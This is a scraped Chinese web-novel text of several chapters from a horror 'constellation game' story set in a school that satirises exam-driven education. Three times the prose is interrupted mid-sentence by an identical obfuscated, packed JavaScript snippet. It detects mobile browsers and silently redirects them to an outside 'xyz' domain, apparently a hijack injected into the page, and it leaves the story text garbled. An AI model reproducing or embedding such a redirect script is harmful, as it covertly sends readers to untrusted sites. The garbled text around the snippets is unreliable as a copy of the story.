刘海缺角的白深难得露出忧伤:我的遗容,终究是不帅了。 29. 小镇做题家(4) 镜子不能使用,玩家们只能任由其他人在自己头上动土。 仪容室开成了理发店:剪刀咔嚓飞舞,推子嗡嗡响,五颜六色的头发随之落在地板上。 理发手艺最好的红袖标阿姨面前,甚至排起了队。 丁卯似乎想到重要的信息,头猛然一动,阿姨手中的推子划过头皮,一道“顶上光”亮起。 排在下一位的白深滴下汗珠。 好在丁卯并不介意,翻开笔记本激动地说:“这面镜子,似乎有隐喻!你们仔细想想,自己动手,对着镜子理发,会变成扁平人……” 云真真梳着参差不齐的头发,笑道:“这是双子座嘛。本来有一副面孔,理发,代表根据外界要求,主动塑造出另一幅面孔。” “正是如此。原来的我哪里去了呢?哪个才是真正的我?”丁卯起身将理发位让给白深,摸着光秃秃的一条头皮,滑溜溜的。 “不然……为什么有人选择退学。”云真真目光缥缈,“第二幅面孔带着带着,就彻底嵌在血肉之中了。你不会再怀疑第二幅面孔的合理性,也会把本来的面孔忘得一干二净。” “又在打啥哑谜……”金乐儿颓然地坐在地上,心疼着一去不复返的锅盖头,“我为什么要遵守这个校规啊,老天爷啊……” “人家公子哥儿都没抱怨,你一个乡下泥土豆倒矫情上了!”云真真一下子句话刺痛两人的心。 白深紧闭双眼,抿住嘴唇,精致的发丝如同他淡淡的忧伤,碎了一地。 辛晴已经利落地上好黑色染发膏,站在旁边试图安慰:“队长,你头发……终于比我的短了。我是女的呀,男短女长,这才对……” 好像并没起到什么好作用。 闹哄哄地折腾完,云真真顶着阿姨精修版蘑菇头,轻快灵动,十分满意。 此时午餐时间已经结束,距离下午上课还有一段时间。 玩家们起个大早,没吃午饭,此时又困又饿,决定背对镜子小睡一会儿。 人数一多,小团体自然会出现。 午睡的人分成了三堆:云真真、白深、丁卯、金乐儿、辛晴、阿姨在一起,“猎鹰组织”三个人在一起,不认识的两位玩家在一起。 意识朦胧之间,凄厉的叫声突然响起,在空荡荡的教室内回响。 是云真真唯二不认识玩家中的那位女玩家。 她踉跄着来到云真真这边,语无伦次:“他……你们快救救他……” 云真真回头向镜子的方向看去。 男玩家面朝镜子直直站立,从头到脚紧紧贴住镜子,似乎要融进镜子里去。 镜子映出那张脸,扁平苍白,没有一丝生气。 突然间,一股莫名的烦躁感侵袭云真真的每个细胞。 无形而又强大的引力,拖拽着她前往某个方向。 心中响起嘈杂而又带有催眠效果的声音:“去吧,去吧。只有这样,你才能活下来。” “物竞天择,适者生存。在学校里,你要当听话努力、成绩优秀的学生……” 自我意志渐渐涣散。身体不受控制地朝镜子靠过去。 意识之海越来越灰,越来越暗。 “你只有学习这一条出路。” 这句催眠词响起,云真真的意识之海中突然浮出一抹鲜亮的红色。 她努力接近那抹红色,用尽全身力量抓起来,向上提。 一朵彼岸花跳了出来,瞬间照亮整个意识之海。 意识之海明亮澄澈,终于重新奔流起来。 云真真猛然睁开双眼,发现自己离镜子只剩下半步之遥。 她迅速转身背对镜子,却见金乐儿眼睛闭成一条缝,游魂般朝镜子荡过来。 “快把他转过身去,背对镜子。”白深此刻紧抓丁卯的肩膀,拼命向后搬。 后方不远处的地板上坐着迷迷糊糊的辛晴,显然刚被救下来。 他为什么清醒这么快?或者说,他根本没有被镜子蛊惑,而是用了什么道具! 云真真边思考边飞起一脚,把金乐儿踹倒在地。 “喂,醒醒啦,醒醒!”云真真拍着金乐儿的脸颊,见他的眼睛慢慢睁开,才松了口气。 “猎鹰组织”三人组虽然醒着,却始终没回头看镜子,全员安全。 红袖标阿姨睡眠好,还在原地呼呼大睡,前来求救的那位女玩家跪在她旁边哭。 【叮!本场游戏3号玩家自我意识全部丧失,游戏失败,化作流星,咻~】 公屏冷冰冰地跳出来。 哒哒、哒哒,化作流星的3号男玩家方向,依然传来走动的脚步声。 谁也不敢回头看。 “要上课了。别迟到。”开门,关门,“3号”跑了出去。 他彻底变为扁平脸中的一员。 红袖标阿姨此时才被惊醒:“怎么了?谁成星星了?” 旁边的女玩家大致讲了一遍,阿姨显得有些不好意思:“怪我了,没帮上忙。平时睡觉时间太少,我养成了一躺下就深睡的习惯……” 一场惊魂过后,玩家们默默向教学楼走去。 新发型毫无特色,但充分显示出他们越来越听话、越来越融入学校了。 其中一名玩家除外——“猎鹰组织”中和白深同班的“莫西干头”。他成为了唯一一名发型怪异的人。 在“仪容室”时,白深怀揣着“拯救芸芸众生”的信念,连着去劝说了三次。 辛晴紧跟队长,补充一些诸如“真正的酷,不在外表,而是内心”的话。 莫西干头始终不依不饶,誓死捍卫他所谓的独立自我:“穿上校服就算了,再把‘红色鸡冠’抹平推掉,扔掉鼻环耳钉,我他妈究竟变成了谁?” 云真真在心中冷笑:与被迫塑造成扁平脸相比,他选择主动焊死“叛逆”这张面具,其实并没有什么太大分别。 双子座,两张脸都是你,两面性也都是你。人本就是复杂的矛盾集合体。 何必执着。 教导主任如约来到高三二班时,云真真三人后背挺得笔直,煞有介事地读着“无字天书”。 主任满意地踱着方步离去,“同学们”的耳朵失望地放下。 十分钟之后,公屏再次亮了起来。 【叮!本场游戏4号玩家失血过多,游戏失败,化作流星,咻~】 如果没猜错,4号玩家是莫西干头。为了忠于理想,他选择英勇献身。 接下来是大把的自习时间。 现实世界里,云真真不曾有过如此大片的空白时间。 按照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642573|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校规,自习课上不能讲话。课本又都是空白,只能干瞪眼,一时间还不太习惯。 金乐儿和红袖标阿姨都是缺觉的人,云真真自告奋勇放风,让他们不动声色地补觉。 她一会儿扒开金乐儿紧闭的一字眼,让他擦干嘴角的口水;一会托起阿姨的头,避免她压迫气管打呼噜。百无聊赖间,终于熬到了活动课时间。 在全班同学的众目睽睽和班主任的怒目而视下,三人贼眉鼠眼地溜出教室。 乍一看去,操场上异常空旷,只有文诗书之外的9名存活玩家。 但大家无法按照约定痛快地共享信息。 几个相对敏感的玩家始终觉得不舒服,似乎一举一动都被密切监视着。 除奇异的“耳浪”之外,安装在主席台的摄像头、操场前后的广播喇叭都是信息传递的工具。 有了“仪容室”的前车之鉴,找个封闭的空间分享信息也不太安全。 思来想去,大家选定了校门口的光荣榜。 向优秀学生学□□该挑不出错来。 失去“莫西干头”之后,几乎推成光头的“扫帚头”和“阴阳头”十分沮丧,想问又怕知道过多细节。 白深沉默半晌,依然选择说实话。“莫西干头”和33号一样,失去了双臂。但最终失血过多,变为一个扁平人。 另外两个人拼命睁大双眼,死死盯住“光荣榜”上的照片,避免眼泪留下来。 红袖标阿姨却频频擦起了眼泪。 “好了!接下来的人,得好好活下去才行。”白深提振精神,“我们探讨一下一模考试的内容。小镇做题家,学校教育的方式方法已经体现出了‘小镇特色’,我们要做的,是在考试中取得好成绩,达到‘做题家’的标准……” 刷刷刷……丁卯飞快地撕着他视为珍宝的笔记本,分给每人正反都密密麻麻的一页纸:“这是高中阶段的主要公式和知识点,晚上还有自习,你们背一下。遇到大题,把公式全写上也能得分……” “会这么简单吗?”云真真轻叹一口气,看向天边泛红的夕阳,“把我们抓过来,就为了考一遍高中知识?” “老天奶,你说这是简单!”金乐儿拿着纸正过来倒过去哀嚎,“这些符号,我连见都没见过,还是直接要了我的命简单点……” 辛晴被他逗得哈哈一笑。 大家集思广益了一会儿,最终也没讨论出个所以然。 “我总结一下。”白深见即将下课,赶快收住话题,“不管考试题目是什么,我们尽量把自己当作那些扁平人,模仿他们的思维模式。” “行了!”云真真伸了个大懒腰,望向半边烧得通红的天空,“各凭本事吧。天光这么好,不如欣赏欣赏。那边还有紫藤架、小花坛,对了,还有人工湖,当年这可是我们学校的景色前三绝。我们一起去游览吧,说不定这是最后一次睁眼咯……” 风凉话还没说完,云真真就被白深拎到了光荣榜面前。 “你这又土又丑的发型,怎么成红色了?不合格!我要举报,哈哈哈哈……”云真真看着夕阳下的白深,笑得没心没肺。 她知道他在意发型,所以故意要去戳痛。 “你这颗红蘑菇……”白深咬牙,半天才想出一句弱弱的话,“说说文诗书的事。” 30. 小镇做题家(5) 光荣榜上,5年前的文诗书神情严肃,眼里闪烁着愤怒的光芒。 这副神情云真真再熟悉不过:高中每次月考,云真真排第一、文诗书只能屈居第二时,这个专属“表情包”就会死死焊在文诗书的脸上。 “现在不想说文诗书的事,煞风景。”云真真耸耸肩,视线绕过白深的头顶,仿佛要把沉下一半的血色夕阳刻进心里,“都说校园里的风景最美,可学生时代根本没时间、没心情欣赏,有时间、有心情的时候,校园又成了回不去的地方。” “我读的高中……”白深顶着暗红色的、毛茸茸的寸头,“时间、心情都不缺,但是大家都会主动选择学习,求知若渴。” “行了,公子哥!谁不知道你读的是首都名校!”云真真收回目光,双手插回裤兜里,“你所谓的学习,是到世界各地交换、开展模拟联合国、做森林海洋生物研究……而我们,只有巴掌大的校园,精确到分的作息表。” “我不是这个意思。”白深试图解释,又觉得是徒劳,“总之,希望你和文诗书都能通关游戏。” “切,又心疼你的芸芸众生了?还是怕我又去害人?”云真真笑着,碎发在额头间轻轻跳跃,“还是先关心你自己吧!‘富贵公子’能当好,‘小镇做题家’可就不一定了。” 最后一抹夕阳残红被冷冷深蓝吞没时,晚饭时间到了。 学生食堂中,一排排学生在餐桌前站得笔直,端起大碗呼噜呼噜吃饭,只能听见一片筷子碰触盘碗的声音。 简直就是云真真高中生涯的复刻版,吃饭只为活着,活着只为读书。 接下来是漫长的晚自习。好容易熬到21:50放学,就要立刻飞奔回宿舍:门禁时间是22:00。 “晚上遵守校规,记得活下去哈!”3连座小队在男女生宿舍楼前分开,云真真不忘调侃金乐儿一句。 “活着,必须的!”金乐儿打着哈欠,摆摆手告别。 她觉得他乐天,而老天也愿意施舍给他一点点幸运。 云真真和红袖标阿姨刚踏入女生宿舍,就被宿管老师的脸吓了一跳。 阿姨是物理意义上的跳:连着向后小跳了几步。 那是一张怒脸、鬼脸、扁平脸、哭脸以外,新解锁的脸庞:巨目脸! 宿管老师头发稀疏,脸大如盆,两只眼睛竟然占据了半张脸,死黑色眼球在硕大的眼裂内360度无死角地乱转。 两只眼睛摆成诡异的角度,各看各的:左眼上下打量云真真,右眼直勾勾盯着阿姨。 “你们两个住校生,住302宿舍。”宿管老师的右眼球转到外眼角处突然消失,只剩下空荡荡的眼眶,“后面两个人,住303!” 辛晴和文诗书正从她背后走过来。 她的眼球,还能转到后脑勺的方向去看人? 在“仪容室”失去同伴的女玩家神不守舍,最后一个进来,独自被分配在304。 【住宿守则】 【22:10准时熄灯,熄灯之后所有人必须呆在自己宿舍、自己床位】 【禁止说话聊天、禁止下床走动、禁止进出宿舍】 【宿管老师将整夜查宿】 时针指向22:04,云真真拉起阿姨,飞快地爬上三楼,一把推开302宿舍的门。 熟悉的感觉扑面而来。 窄小的空间内,挤着4张上下铺铁架床,水泥地面铺满灰尘,空气中飘荡着洗发水、香皂和洗漱间的混合气味。 “没了胳膊,可住不了上铺!”阿姨拉住爬梯,似乎在测试结实不结实,“8张床铺,就我们俩住,选门口这两张对床下铺,要得不?” “行!阿姨你快去洗漱,一会可就得彻夜呆在床上了。”云真真边说边翻翻被褥、摸摸墙皮,生怕有什么不对劲儿。 刚要反锁宿舍,门上半米见方的玻璃上映出一个人头,云真真心中咯噔一下。 定睛一看,松了口气:是那位落单的女玩家。 隔着玻璃,云真真问她有什么事。 “我……一个人害怕……”女玩家带着哭腔,“能不能让我和你们一起住?反正每间寝室都有8张床……” “行啊!咋不行?”阿姨脸都没擦干,风风火火走出洗手间,伸手便要开门。 云真真把她的手死死按住,冷下脸来:“不行!巨眼怪才说过规则。还有一分钟就熄灯。” 阿姨坐在床上,重重叹了口气,眼睁睁看她失望离去。 云真真在阿姨对床和衣而卧,幽幽地说:“千万别忘了,你身处游戏。那个女玩家住303,她一定先向旁边的302求助过。” 咔!电闸被拉断的声音响彻整栋宿舍楼。 宿舍内部陷入浓稠的黑暗,走廊上的应急灯微微亮起。 只可惜灯光是绿色的,荒诞诡异,不如不亮。 云真真闭上眼,依然能感受到透过玻璃而来的绿光,脑海里不禁上演起好几部邻国猛鬼片儿。 “小云啊,我白天睡多了,现在倒不困了。”对床突然发出洪亮的声音。 “嘘!”云真真瞪向对床,用尽全身力气“嘘”了一声。你不睡,但我要命啊! 玻璃窗上的绿色光线突然发生变化,时强时弱。 一种被深度凝视、强烈窥探的感觉让云真真浑身不适。 她眯起眼睛,将视线慢慢移动到小玻璃窗上。 一个带着血丝的眼球,正以玻璃窗为眼眶,上下左右乱窜。 阿姨呀,你可闭上嘴吧。云真真默默祈祷着。 “害呀!一个大眼珠子!”阿姨的高音马上打碎了云真真的祈祷。 云真真还没想好对策,眼球从玻璃窗上消失了。 “你把个人面板点开,一直别关,宿舍守则挂在那儿。”云真真有点生气。 “我就是想体验一下宿舍生活,回去讲给我女儿听!网上不是都说,宿管不让聊天,但女生宿舍没一个不夜谈的吗?再说了,那就一个圆眼球子,它又没长耳朵,还能听见我们说没说话?” 稳定了几秒的绿色灯光再次闪动,云真真仔细一看,眼球竟然转到宿舍这边的玻璃上来了! “眼球转进宿舍来了!不过你说得有点道理,赶快用被子蒙上嘴巴!”云真真顾不上被子有一股潮乎乎的霉味,拉起来蒙住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654751|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了嘴巴。 眼球沿着门框滴溜溜滚上墙面,来到云真真床铺依靠的这面墙壁。 云真真仰面躺着,墙壁在她右侧。眼球以这面墙为眼眶,神经质地转了几圈,最终停在云真真头部上方不远处,直勾勾盯着她。 “我现在说话,你听得见吗?来抓我呀!略略略……”隔着被子,云真真开始验证自己的猜想。 既然只能用看的,【禁止说话聊天】这一项,只能通过嘴部动没动来验证。我把嘴巴藏起来,你总该没办法了吧? 眼球死死盯着云真真,果然没有任何反应。 “哈哈哈哈哈……”阿姨笑点低,被云真真逗得开怀大笑,整个人剧烈地起伏着。 眼球“倏”地一下,窜到对面那堵墙上去了。 “阿姨,控制好你自己啊!”云真真虽然声音闷在被子里,依然能听出无奈,“你眼睛弯成了月牙,整张床都在地震,可是能看到的!” “好好好,我平静一下。”阿姨蒙着被子依然中气十足,和眼球对视,“你说它这眼球,自己长腿儿似的到处跑,也能当成智能义眼来用吧?既然有这种眼球,那会动的胳膊也应该有吧?” 云真真觉得时候到了:“别管眼珠子了,咱们就隔着被子开个卧谈会。不如说说你女儿的事。” 实际上,云真真已经猜出了八九分。她只是想给她一个倾诉和表达的机会。 阿姨的女儿在8岁那年,因为触电而失去双臂。丈夫不堪重负,选择离开。阿姨抗下所有责任,打多份工,还要精心照顾女儿的衣食住行。 然而,女儿始终无法像正常人一样学习生活。她最大的梦想,就是体验集体住宿生活。阿姨的梦想,则是给她安一双智能义肢。那是一笔天文数字。 “会有的。游戏里得到道具,可以出去卖钱。”云真真轻声安慰着阿姨。 不知何时,眼球离开了,阿姨也打起了呼噜。 夜里,云真真被阵阵敲门声、喊叫声、凌乱的脚步声惊醒。 是独自住在304的女玩家。 刚开始她重重敲着303的门,随后又来到302窗口向里面看,一张脸因为惊惧而异常扭曲,闪着不详的绿光:“开门啊,啊……有个眼球!追我!!救命呀——” 透过玻璃,云真真瞥见宿管老师拽着头发拖走了女人。她脸上夸张的巨目,只剩下了一只,另一边眼眶里空空如也。 想必还在哪里查寝。 幸好阿姨没醒,不然她又要多管闲事了。 接下来,便是重物顿地的闷声,筋骨折断的声音和撕心裂肺的喊声。 随后陷入一片死寂。 等等,阿姨的呼噜声也没有了? “其实,我没睡着。”阿姨乖乖蒙住脸,声音难得很微弱,“我女儿……是因为想救第一个触电的人,才失去双臂的。” “嗯。”云真真只是轻轻应一声。 这种时刻,过多的言语安慰起不到任何作用。 现实中的很多事,原本就不讲究逻辑、毫无道理可言。 还不如星座游戏:白羊座有白羊座的逻辑,双子座有双子座的道理。 31. 小镇做题家(6) 一模考试在上午举行。考场以天为庐,地为盖。 200套课桌椅整整齐齐摆放在操场上,考生与考生之间相隔一米,十分壮观。想偷偷搞点小动作的,只有长出长颈鹿的脖子才行。 过于写实了。云真真不禁遥想当年,生出感慨万千。 春天秋天的月考还好,若是在夏天,顶着热辣辣的太阳,总会有几个中暑当场晕倒的学生。寒冬来临,手冻成萝卜,又痛又痒,僵得写起字来歪歪扭扭。 “你们只有付出八百倍的努力,才能看见大城市孩子的屁股!冬练三九夏练三伏,必须把苦吃够了,才能当人上人!……” 德育处老师的训话犹在耳畔。 高一入学时,云真真对此深信不疑。刚失去妈妈,她只有学习这一条出路。 可吃了这么多没必要吃的苦,就一定能成为人上人吗?如果人人都是人上人,那处于下端的,难道是鬼吗? 高一下学期,她的信念开始松动。接下来,一条条裂缝出现,渐渐坍塌,直至最终湮灭。 但不少人对此奉为圭臬,一直持续到今日。比如已经考入清北,成为“人上人”的文诗书。 她骄傲地挺直脊背,在四班“同学”的阴鸷背影中转过头,挑衅地盯着云真真。 “那孩子,是不是学傻了?”阿姨坐在一米开外的地方,双手做成大喇叭朝向云真真,“那么优秀,还一直跟你较啥子劲儿嘛……” “我不是说你不优秀……”阿姨不好意思地挠着短发。羊毛小卷剪掉后,白白的发根全跳了出来,再盖不住。 白深一会儿看云真真,一会儿又若有所思地研究文诗书。两个怪人。 “好好考试,努力赚钱买智慧义肢!”云真真笑笑。 “一模考试现在开始!答题时间60分钟。各位老师,发一下卷子……”主题台上站着一排怒脸“天王”,抬头一看还以为置身某间武神庙。 “这次虽然是模拟考试,但也会有相应奖惩措施!好了,全场肃静,开始答题!” 云真真接过卷子,摊平。 只有三道问答题。 【第一题两张面具】 【黑暗的房间里伸手不见五指。桌子上摆放着四张面具:两张哭面具,两张怒面具。】 【面部表情由颜料绘制,摸上去毫无区别。】 【提问:你走进暗室后该如何操作,才能在出来之后拥有两张不同的面具?】 这是……啥玩意儿啊? 讨论考试题目范围时,丁卯充分考虑双子座逻辑思维强、智力优秀的特质,最终倾向《最强大脑》一类的智力题目。 白深认为人际因素也不能忽视,毕竟双子座也擅长交际。辛晴觉得队长说的对。 可这白纸黑字的上的考试题,到底考得是啥呀?逻辑推理还是脑筋急转弯? 总之双子味儿十足——像风一样自由飘忽,捉摸不定,风马牛不相及。 云真真继续向下看题。 【第二题两株树】 【有两株树。】 【提问:分别是什么树?】 问号更多了……满头满脸满脑门都堆满大大小小的问号。 【第三题两句话】 【昨天活动课,临近傍晚,校园的天空异常美丽。】 【提问:写出两句话,描述昨日傍晚的天气。】 这道题似乎还能答出来。昨天活动课时,几名玩家恰好正在室外,欣赏着美丽的夕阳和落霞。 但会不会有陷阱? 云真真刚提起笔,又放下了。其他人是怎么想的,开始做了没有? 她微微侧头看向一米开外的金乐儿:他正咬着笔杆,翘着二郎腿一直晃。 阿姨已经下了笔,神情异常认真。 一班那边,丁卯的背影十分从容,“猎鹰组织”的两人看上去也很认真。 三班方向,辛晴直愣愣地坐在位置上,文诗书用力写着字,身体一晃一晃的。 刚要看向四班,一张怒脸怼在云真真面前。 从身高判断,是教导主任。 “这位考生,你东张西望干什么,是不是准备作弊?”主任的脸庞慢慢贴近试卷,像是期待她真的在作弊。 似乎有那么一秒钟,他的怒脸上闪出了几次鬼脸。 另外几名“怒脸”天王一路飞奔而来来,将云真真的课桌团团围住,频频闪出鬼脸。 “我……脖子疼……”被一堆变脸围得密不透风,云真真只能装模作样地转着脖子,转到哪里,就和他们一一对视,“昨天睡落枕了,得转转圈活活血。” “落枕?哼哼!你们这些学生,一会儿肚子疼,一会儿抑郁症,哪个不是蹩脚的借口!看看你这试卷,一片空白!平时肯定没好好学习!”教导主任大声威吓道,“老师们,就在这里看着她,看她能不能写出一个字儿来!” 云真真极度讨厌不加证实就被扣上罪名,皱着眉头拿起笔,在第一题处飞快地书写起来。 “老师们”一字一字默读着她龙飞凤舞的字体,眼球随之夸张地移动着。 阴影中的试卷上漏进来一束光——一名女性怒脸老师离开了。 紧接着,怒脸老师们一个接着一个离开云真真的课桌,有一个老师走时还捂着脸庞。 云真真松了一口气。为了证明自己没作弊,只能写出一个跟别人都不重样的答案。 “停笔!”时间一到,监考老师们饿虎扑食一般卷走试卷。 成绩和标准答案将在下午公布,在此之前,玩家们获得了短暂的自由活动时间。 云真真发现,考试之后,“同学”中有几个也变脸了——从扁平脸变成了泣血的哭脸。 和失去双臂的33号一样。 33号,身残志坚,用脚夹住笔,顽强地完成了考试。 阿姨不禁感慨,她女儿也曾经在教室里用脚写字,但是脱鞋脱袜,把腿举到课桌上,无法避免他人的风言风语。这些风言风语,也无避免吹入内心深处。 游戏里的扁平人,相比之下还要善良一些。 玩家们再次聚集到光荣榜前,像考试后急着对答案、又有些害怕知道答案的学生。 这一次,连一直离群索居的文诗书也来了。 “云真真!你写的答案是什么?”文诗书直奔云真真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667050|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而来,气势汹汹。 “乱写的。”云真真慵懒地做着拉伸,不时和金乐儿说笑。 “别骗人了!”文诗书突然加大音量,歇斯底里地尖叫起来,“高中时你也是这样!一副轻轻松松的模样,却总是考第一!总是这样!!一直是这样!!骗子!!” “好孩子,好孩子!”阿姨连忙拍拍文诗书的肩膀,“你是清北大学的学生,最优秀啦!” “我只是个清北本科生!还没考上研究生!!”文诗书一把甩开阿姨,抓住云真真的肩膀摇晃着,“你知道吗?我日夜苦读才考上清北,以为能把你远远甩在后面。谁知道大学里全是你这样的人!” “你别忘了,我高中都没毕业。”云真真声音冷下来,狠狠拨开文诗书的手。她的手冰凉干枯,微微颤抖着。 “她们学习起来轻轻松松,毫不费力!看着他们,我就想起你,为什么还是摆脱不掉你……”文诗书崩溃,大哭起来。 “文诗书,生病就去看心理医生,别对我发癫。特别想告诉你一句矫情的话,人生是旷野。你活着,不只是为了赢过我。”云真真火速和她划清界限,拉着大家到旁边的紫藤花架下讨论考试内容。 只有白深留在原地,静静站在文诗书身边。 辛晴走出几步,犹豫了一下,依然选择和队长呆在一起。 “第一题你咋写的啊?”金乐儿迫不及待,“看到你被那堆天王老子围起来,我都快急死了!” “你们怎么写的?”云真真反问。 “这间屋子是黑的嘛,”阿姨胸有成竹,率先开了口,“进去之后把手机打开,按亮电筒不就看见了吗!” “阿姨,高明啊!”金乐儿拍着手,“我也差不多,进去先把灯打开,再一样拿一个……咱俩答案对上了!” 丁卯清清嗓子:“会这么简单吗?一点高中知识都没用到,不太可能。我是这么写的,用到了概率知识。随机拿取两张面具,拿到两张哭脸、两张怒脸的概率都是1/6,拿到一张哭一张笑的概率是2/3,所以一下子拿对的概率大。” “我先随机拿一对,再掂量一下重量,作为验证。既然是颜料绘制的脸,不同的脸所用颜料克重自然不同,如果重量差不多,就表示我拿对了……” “丁哥,你徒手估量的水平,能精密到什么程度?”云真真不禁笑了起来。似乎挺严谨,似乎又在胡说八道。 丁卯摸摸头上一条“顶上光”:“这个嘛,我觉得还是可以达到要求。那你写的什么呀?” “走进房间,咔咔咔咔四下。”云真真交叉在胸前,语气带着凶狠,“把四张脸都从中间掰碎。” “从掰成两半的四张脸中,各拿一半出来。走出房间,再把相同的脸拼起来。” “妙啊!妙啊!”金乐儿拍拍大腿,又摸摸左脸,“就是……脸有点疼。” “你这答案……”白深皱着眉头走过来,“犯罪心理测试中,会被鉴定为变态。” “就你正常。我们小镇穷人可不像你,有闲心闲钱照顾心理。我们啊,能照顾好肚子就不错了!”云真真白了他一眼,“既然你这么懂心理,治好文诗书了没有?” 32. 小镇做题家(7) 天真与阴暗,嬉闹与寡淡,大雅与大俗……双子特质涵盖着一对对复杂的矛盾体。 云真真徒手挖出这样一道看似矛盾又不可逾越的鸿沟:穷与富。 自己站在此岸,把白深推向彼岸。 她能让更多人不知不觉加入己方阵营,比如金乐儿、红袖标阿姨等等,毕竟世界上不那么富裕的人占大多数。 白深却轻易看穿她的伎俩:“无论讨论什么事,你都能扯到贫富差距上来。” 云真真不依不饶:“你刚说我是变态,没错,人一穷就难免变态!我还有更变态的答案,你要不要再听听,再研究研究?” “我不是这个意思。”白深叹了口气。面对自己,她总是咄咄逼人,明暗难辨,像朵专门挑在坟头上、冥河边的开的鲜红彼岸花。 “第二道题,两株树那道,我的答案如下。一株是枯树,长满锋利、带着尖刺的树杈,碰一下扎穿一个人;一株是腐树,树干内部早被蛀空,全部烂光。”云真真轻蔑地笑着,观察白深的反应,“这个答案,用心理学中的‘房树人’测试来看,是不是更变态?” 白深:既然懂,还要故意写,确实显得更变态…… “听着是让人心里咯噔一下,你这闺女!”红袖标阿姨指指教学楼前那两棵树:“多看看好的,我写的是那两棵,玉兰树和银杏树。” “厉害呀,阿姨!”金乐儿竖起大拇指,“我只认得老家院子里的苹果树和柿子树,就写了这俩……” “所以这‘两株树’问题的关键,是地点。”丁卯总结,“阿姨眼中,两株树的所在地是教学楼,小金则认为是他家的院子里,小云这个……呃……嗯……” 云真真见他停顿住,两只手弯成心形放在胸口,带着笑意:“我这两株树,种在我黑暗而变态的心里。” 白深:我只陈述了一个客观事实,她又在这点我呢…… 丁卯战术性咳嗽几声:“哎呀,反正我认为,这个地点,应该在课本上……” “没错,答案肯定就在课本上!”文诗书听到关键词,激动地跑过来,“书中自有黄金屋,书中有万事万物的答案!您是研究员,学历最高,给出的答案一定极富权威。” “这只是我的猜测,不一定对,大家可以探讨一下。”丁卯谦虚得很真诚,“这个重点,在于题干里的‘株’字。一般情况下,我们都会说一棵树,‘株’字不常用。” “鲁迅先生的《秋夜》里,有这个字,也有两棵树。‘在我的后园,可以看见墙外有两株树,一株是枣树,还有一株也是枣树’。” “对了!答对了!”文诗书孩子一样跳了起来,趾高气昂地盯着云真真,“云真真,我写的是枣树!你完了,你的人生彻底毁了,哈哈哈哈……” 云真真静静看着她发疯,面含微笑,心似平湖。 她们同样来自小镇,曾怀着同样的期待走上做题家之路。 只不过云真真中途退场,文诗书依然奋战,直至模糊了游戏与现实。 她再也不会因为一场没发挥好的考试、一道抄错的选择题而否定整个人生。 一模考试的标准答案、成绩与排名准时公布。 玩家们率先挤到张贴着【标准答案】的大榜面前。 【第一题两张面具】 【标准答案:随便取一张面具走出暗室即可。】 【答案解析:你!是!小!镇!做!题!家!平底锅般平静的面容、面无表情的表情,是你已经拥有的最好面具。抛下这张面具,尽情喜怒哀乐,是大城市竞争对手的特权,不是你的。】 【题目中的怒面具与哭面具不可共存,你最终只带走其中一张。】 云真真看着答案,哑然失笑。的确,这所学校的教师阶层,只有怒脸和鬼脸;而学生阶层,只看到过扁平脸和哭脸。 小镇做题家的出路,要么失败泣血终生,要么教育出更多的小镇做题家…… 视线继续向下移动。 【第二题两株树】 【标准答案:一株是枣树,还有一株也是枣树。】 【答案解析:你!是!小!镇!做!题!家!你还想看树?你只配看书!就算题中有树,那也得是书上的树!】 这道题,至少丁卯和文诗书都答对了。 【第三题两句话】 【标准答案:任何与“晚霞”无关的句子均可。】 【答案解析:你!是!小!镇!做!题!家!活动课时你应该在教室里学习,怎能奢侈地抬头看天?】 第三题,云真真给出的回答是“落霞与孤鹜齐飞,秋水共长天一色”。 完美避开所有正确答案。 现实中的高中时期,课本上的文章、古诗词美到极致,可心是灰暗的、竞争的、狭隘的,品尝不出一丝一毫滋味。 星座游戏里,云真真反而任性起来了。 但选择任性,就得付出代价。 金乐儿和红袖标阿姨站在成绩榜后方,哭笑不得:排在最末尾、抱得零蛋归的三个人,正是三连座小分队。 丁卯、辛晴和文诗书,就连“猎鹰组织”那两个混混,都答对了一道题。 白深答对两题,是所有玩家中的第一名,却依然位列所有“扁平脸”们之后。 也就是说,“扁平脸”们都得了满分。 人群里,失去双臂的33号,看完成绩之后收起血泪横流的哭脸,“刷”一下,恢复为正常面容,晃着空空荡荡的袖管向教学楼走过去。 “云真真,我考过你了,我赢了,赢了!哈哈哈……”文诗书异常激动,眼里闪烁着疯狂的光芒。 “恭喜你,可真棒呢!”云真真挤出虚伪的笑容,指着另一块黑底红字的黑榜,提醒她看。 【一模考试惩罚措施】 【成绩公布半小时之内,全体差生在体育馆集合,彻夜打扫体育馆。】 【明日跑操之前,任何差生不得自行离开体育馆。】 